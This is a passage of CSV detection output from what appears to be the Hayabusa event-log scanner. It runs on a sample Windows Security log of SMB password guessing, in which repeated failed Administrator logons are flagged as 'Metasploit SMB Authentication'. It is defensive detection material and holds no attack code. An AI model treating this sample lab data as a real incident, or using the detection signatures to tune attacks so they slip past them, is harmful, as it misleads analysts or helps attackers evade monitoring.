Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QzrhcYEue85zhZ8V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.484 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.531 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ivpdjGaxoZOCTxbq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.531 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.572 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qIsZXHE4Swkbytiu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.572 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bdT2bVjtEd6KhQWf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.604 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RT9Tqp0lf0dd6h9C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.652 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xwhlrl2ck1o2qTDy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.696 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.736 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lxX2762Fa804981t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.736 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O55rRqTo9vgwnYoq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.776 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.828 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zo7BzxXZDdykOXoZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.828 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.868 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6YGEMcvYtwNJys39 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.868 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V0xq8et2LwWSgVgk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.908 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 43EK0cGlZBhWRd5B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.956 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.996 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UBoGMdTjWVVVvifn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.996 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.038 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IcCrPXp3VLObGU6v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.038 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zhZguuPimqAruiTu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.080 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.110 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5o6amdSWFFbueCyp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.110 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.152 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W0wRaNXdhMlIY1HX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.152 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.192 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J8jqrrwWeKZGypW0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.192 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8LIavw2zakOP4DqU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.236 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.275 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qz7gr4vA633waQ01 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.275 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.325 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2TmHz5POLSNJHm2x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.325 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DcpOxhy2nnLIEGHT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.364 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.453 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gJxfDgfujy5Um2wa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.453 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 217VTq8EbYIDeSXU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.484 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WPfE1m0tsJAJnRt9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.524 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OQCfGhvBMSq3PIoa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.564 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XBl6JIRetWEnjaVx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.608 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.650 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KXJMNnj4LeBIYARt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.650 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v3sdn9f4xtvcsaHp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.680 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DWT0NepMYD29cOwh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.720 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.764 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DDb7wV6uzj1tat2d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.764 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.806 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RBcmANUL4a6DFobS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.806 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VL2swHF9MtnCfnp3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.841 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.883 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E0ZkcAD0IakqSUph : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.883 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5HgksdIGukmliZeE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.924 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.966 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xYoLckmmOWCSf4Q2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:07.966 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2PTxr8Zkz2y2XwBo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.000 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J3caypkIM2XqoSSF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.044 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yuQOUzJ6sU5AhARR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.088 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SyM3OrjUHub9k23k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.128 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.171 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vY7SRoWumGQOrljW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.171 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iFrO2nUMlfeDLGyc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.212 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.250 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9B8Gq7d30U8DqdN0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.250 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yxSPuxpCHgSo1d1a : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.292 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.342 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9elGZ4POExblUCAK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.342 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XHY9Ig3sqQKNXYqq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.385 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: voMDzTqYqKpfudKo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:08.424 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 